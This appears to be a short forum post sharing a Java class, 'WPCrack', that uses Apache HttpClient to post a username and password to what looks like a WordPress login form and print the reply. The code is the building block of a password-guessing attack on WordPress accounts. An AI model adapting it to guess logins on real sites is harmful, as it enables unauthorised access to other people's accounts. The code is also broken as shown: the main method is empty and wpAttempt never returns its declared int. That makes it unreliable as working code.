Nevermind, I got it.
Code:
import org.apache.commons.httpclient.*;
import org.apache.commons.httpclient.methods.*;
import org.apache.commons.httpclient.params.*;
import java.io.*;
public class WPCrack
{
public static void main(String[] args) throws IOException
{
}
public static int wpAttempt(String url, String user, String pass)
{
// Create an instance of HttpClient.
HttpClient client = new HttpClient();
// Create a method instance.
PostMethod post = new PostMethod(url);
NameValuePair[] data = {
new NameValuePair("log", user),
new NameValuePair("pwd", pass)
};
post.setRequestBody(data);
// Provide custom retry handler is necessary
post.getParams().setParameter(HttpMethodParams.RETRY_HANDLER,
new DefaultHttpMethodRetryHandler(3, false));
try {
// Execute the method.
int statusCode = client.executeMethod(post);
if (statusCode != HttpStatus.SC_OK) {
System.err.println("Method failed: " + post.getStatusLine());
}
// Read the response body.
byte[] responseBody = post.getResponseBody();
// Deal with the response.
// Use caution: ensure correct character encoding and is not binary data
System.out.println(new String(responseBody));
} catch (HttpException e) {
System.err.println("Fatal protocol violation: " + e.getMessage());
e.printStackTrace();
} catch (IOException e) {
System.err.println("Fatal transport error: " + e.getMessage());
e.printStackTrace();
} finally {
// Release the connection.
post.releaseConnection();
}
}
}